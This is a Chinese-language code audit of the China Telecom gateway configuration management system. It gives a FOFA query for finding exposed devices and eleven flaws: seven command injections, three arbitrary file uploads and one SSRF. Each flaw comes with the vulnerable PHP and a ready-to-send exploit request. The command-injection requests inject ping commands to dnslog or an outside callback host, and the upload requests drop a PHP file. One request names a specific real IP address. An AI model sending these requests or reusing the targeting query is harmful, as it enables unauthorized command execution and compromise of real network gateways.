中国电信网关配置管理系统 代码审计
基本信息
FOFA
body="a:link{text-decoration:none;color:orange;}" && icon_hash!="-1207180093" && body="360安全浏览器"1.del_file.php命令注入
基本信息
对应文件: manager/newtpl/del_file.php
路径: manager/newtpl/del_file.php
关键代码
<?php
$file = $_GET['file'];
$del_file = "rm /home/apache/livepage" . $file;
$test = "/usr/local/etc/cmd '$del_file'";
exec($test, $array); ?>最基本的命令注入,没什么好说的。
EXP
GET /manager/newtpl/del_file.php?file=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2.ipping.php命令注入
基本信息
对应文件: manager/ipping.php
路径: manager/ipping.php
关键代码
<?php
session_start();
if (!isset($_SESSION['username']) && !isset($_SESSION['usergrp']) && !isset($_SESSION['userlimit'])) {
header("Location:index.php");
exit();
} ?>
<?php
$dstip = $_POST["ipaddr"];
$output = shell_exec('ping -c2 ' . $dstip);
echo "<pre>$output</pre>"; ?>是一个后台的命令注入漏洞,session 判断是否登录,登陆后可调用。
EXP
GET /manager/ipping.php?ipaddr=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3.ip_modify.php命令注入
基本信息
对应文件: manager/ip_modify.php
路径: manager/ip_modify.php
关键代码
<?php
$ip_addr = $_GET['ip_addr'];
$ip_dev = $_GET['ip_dev'];
echo "IP地址" . $ip_addr . ";" . "设备名" . $ip_dev;
if ($_GET['addflag'] == 1) {
if ($ip_addr == "" || $ip_mask == "") {
echo "<font color=red>请填写正确的IP信息." . "</font><br>";
} else {
$cmd = "/usr/local/etc/cmd /usr/local/etc/setip.sh $ip_dev $ip_addr $ip_mask $ip_gateway";
exec($cmd, $resipset, $out);
echo "<font color=red>结果:Success" . $resipset[0] . "<font>";
}
} ?>和 ipping 同样为后台功能;需要登录。
EXP
GET /manager/ip_modify.php?ip_dev=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4.ipconfig_new.php命令注入
基本信息
对应文件: manager/ipconfig_new.php
路径: manager/ipconfig_new.php
关键代码
<?php
...
$actiontype = @$_REQUEST["actiontype"];
if ($actiontype == "reboot") {
$result = "";
$devName = @$_REQUEST["dev"];
if (strpos($devName, "ppp") >= 0) {
$cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_stop.sh $devName";
system($cmd, $result);
$cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_start.sh $devName";
system($cmd, $result);
} else {
system("/usr/local/etc/cmd ifdown " . $devName);
system("/usr/local/etc/cmd ifup " . $devName);
}
} ?>还是一样接收 actiontype 参数判断是否为 reboot 步入进行判断 ppp 查找字符串首次出现的位置。还是没有过滤导致命令注入。
EXP
GET /manager/ipconfig_new.php?actiontype=reboot&dev=ppp;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
或
GET /manager/ipconfig_new.php?actiontype=reboot&dev=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5.multiple_next.php命令注入
基本信息
对应文件: manager/multiple_next.php
路径: manager/multiple_next.php
关键代码
<?php session_start();
...
include("config/config.inc");
$ip = $_GET['ipaddress'];
$port = $_GET['port'];
$network = $_GET['network'];
$test = "/usr/local/etc/cmd '/home/hasslive/dvbsearch $ip $port $network'";
exec($test, $array);
...还是需要登陆后才可以触发。
GET /manager/multiple_next.php?ipaddress=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6.pppoe_usermod.php命令注入
基本信息
对应文件: manager/pppoe_usermod.php
路径: manager/pppoe_usermod.php
关键代码
<?php
...
$deviceno = $_GET["type"];
$actiontype = $_POST["actiontype"];
if ($actiontype == "save") {
$device_name = $_POST["device"];
$username = $_POST["y_pass"];
$userpass = $_POST["n_pass"];
$cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_usset.sh $username $userpass $device_name";
system($cmd, $result);
exit;
}
if ($deviceno < 0 || $deviceno > 7) {
exit;
}
$devms = "ppp" . $deviceno; ?>没啥好说的。最基本的了。
EXP
POST /manager/pppoe_usermod.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
actiontype=save&y_pass=;ping%20xxxxx.dnslog.cn7.createbond.php命令注入
基本信息
对应文件: /manager/createbond.php
路径: /manager/createbond.php
关键代码
<?php
echo "创建bond0";
$addflag = $_POST["addflag"];
$bondaddr = $_POST["bondaddr"];
$bondmask = $_POST["bondmask"];
$bondgw = $_POST["bondgw"];
if ($addflag == 1) {
$cmd = "/usr/local/etc/cmd /usr/local/etc/createbond.sh $bondaddr $bondmask $bondgw";
exec($cmd, $result, $out);
echo "结果:" . $result[0] . "<BR>";
} ?>EXP
POST /manager/createbond.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
bondaddr=127.0.0.1;ping%2012dfee7478.ipv6.1433.eu.org&bondmask=255.255.255.0&bondgw=127.0.0.1&addflag=18.rewrite.php任意文件上传
基本信息
对应文件: manager/teletext/material/rewrite.php
路径: manager/teletext/material/rewrite.php
关键代码
if (isset($_FILES)) {
$error = false;
$target_dir = "/home/apache/data/material/";
$virtual_dir = "/xmedia/material/";
$uploaddir = $target_dir . $uploadtime;
$upload_virtual = $virtual_dir . $uploadtime;
$upload_url = '';
$current_date = date("Ymd_His") . '_' . time() . '.' . substr(strrchr($uploadtime, '.'), 1);;
foreach ($_FILES as $file) {
if (isset($url)) {
$new_uploaddir = $target_dir . $current_date;
$new_upload_virtual = $virtual_dir . $current_date;
if (move_uploaded_file($file['tmp_name'], $new_uploaddir)) {
$upload_url = $new_upload_virtual;
modify_img($upload_virtual, $upload_url);
unlink($uploaddir);
} else {
$error = true;
}
} else {
if (move_uploaded_file($file['tmp_name'], $uploaddir . basename($file['name']))) {
$upload_url = $upload_virtual . $file['name'];
} else {
$error = true;
}
}
}
$data = ($error) ? array('ret' => -1, 'ret_msg' => '没有写入权限') : array('ret' => 0, 'ret_msg' => 'success', 'url' => $upload_url, 'date' => $current_date);
} else {
$data = array('ret' => -1, 'ret_msg' => '文件不合法');
}开头判断是否传递了 FILES 文件请求,然后是基本参数。循环上传文件此处可猜测为是多文件上传功能点。判断是否获取到 url 信息,真假都会上传文件。
EXP
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
------WebKitFormBoundaryOKldnDPT--9.upload.php任意文件上传
基本信息
对应文件: manager/teletext/material/upload.php
路径: manager/teletext/material/upload.php
关键代码
<?
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
$uploadtime = @$_REQUEST['uploadtime'];
$data = array();
if (isset($_FILES)) {
$error = false;
$files = array();
$target_dir = "/home/apache/data/material/";
$virtual_idr = "/xmedia/material/";
$uploaddir = $target_dir . $uploadtime;
$upload_virtual = $virtual_idr . $uploadtime;
$upload_url = '';
foreach ($_FILES as $file) {
if (move_uploaded_file($file['tmp_name'], $uploaddir . basename($file['name']))) {
$files[] = $uploaddir . $file['name'];
$upload_url = $upload_virtual . $file['name'];
} else {
$error = true;
}
}
$data = ($error) ? array('ret' => -1, 'ret_msg' => '没有写入权限') : array('ret' => 0, 'ret_msg' => 'success', 'url' => $upload_url);
} else {
$data = array('ret' => -1, 'ret_msg' => '文件不合法');
}
echo json_encode($data);
?>具体参考 rewrite.php 一模一样。
EXP
POST /manager/teletext/material/upload.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT--10.2.phpSSRF(插件)
基本信息
对应文件: manager/proEditor/pubFile/plugins/h5player/2.php
路径: manager/proEditor/pubFile/plugins/h5player/2.php
关键代码
<?php
header('Content-type:text/html; charset="utf-8"');
header("Access-Control-Allow-Origin:*");
if ( version_compare(PHP_VERSION, '5.3.0', '<') ) {
exit('PHP 版本太低了!!');
}
$url = $_GET['path'];
switch ($_SERVER['REQUEST_METHOD']) {
case "GET":
curlget($url);
break;
case "POST":
switch($_SERVER['CONTENT_TYPE']) {
case 'application/x-www-form-urlencoded':
$data = http_build_request($_POST);
break;
case 'multipart/form-data':
$tempname = $_FILES['file']['tmp_name'];
$basename = basename($_FILES['file']['name']);
$origname = sys_get_temp_dir() . '/' . $basename;
move_uploaded_file($tempname, $origname);
chdir(sys_get_temp_dir());
$data = array('name' => 'file', 'filename' => '@' . $basename);
break;
default:
exit;
}
curlpost($url, $data);
break;
default:
exit;
}
?>步入代码先判断了 PHP 的版本,通过 GET 的方式获取 URL 判断Method请求方式是否为 GET 或 POST 如果是GET 则调用 curlget 如果是 POST 直接步入Content-type的判断。细节见 漏洞11,这节说 SSRF。
跟进代码查看 curlget。直接调用 curl 函数请求,如果返回的值为 flase 则设置状态码为 400。到最后如果没有找到 Content-type 类型调用 curlpost
function curlget($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
if ($data === false) {
header('HTTP/1.1 400 Bad Request');
exit;
} else {
echo $data;
}
}
function curlpost($url, $data) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$data = curl_exec($ch);
if ($data === false) {
header('HTTP/1.1 400 Bad Request');
exit;
} else {
echo $data;
}
}EXP
GET /manager/proEditor/pubFile/plugins/h5player/2.php?path=http://baidu.com HTTP/1.1
Host: 182.150.55.108:8838
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
11.2.php任意文件上传(插件)
基本信息
对应文件: manager/proEditor/pubFile/plugins/h5player/2.php
路径: manager/proEditor/pubFile/plugins/h5player/2.php
关键代码
$url = $_GET['path'];
switch ($_SERVER['REQUEST_METHOD']) {
case "GET":
curlget($url);
break;
case "POST":
switch($_SERVER['CONTENT_TYPE']) {
case 'application/x-www-form-urlencoded':
$data = http_build_request($_POST);
break;
case 'multipart/form-data':
$tempname = $_FILES['file']['tmp_name'];
$basename = basename($_FILES['file']['name']);
$origname = sys_get_temp_dir() . '/' . $basename;
move_uploaded_file($tempname, $origname);
chdir(sys_get_temp_dir());
$data = array('name' => 'file', 'filename' => '@' . $basename);
break;
default:
exit;
}
curlpost($url, $data);
break;
default:
exit;
}上一节的 SSRF 提到的如果 Content-type 是 multipart/form-data 触发文件上传的代码。sys_get_temp_dir 获取一个临时目录,到这里基本是没希望了,不在WEB目录下。
EXP
POST /manager/proEditor/pubFile/plugins/h5player/2.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT--
评论 (0)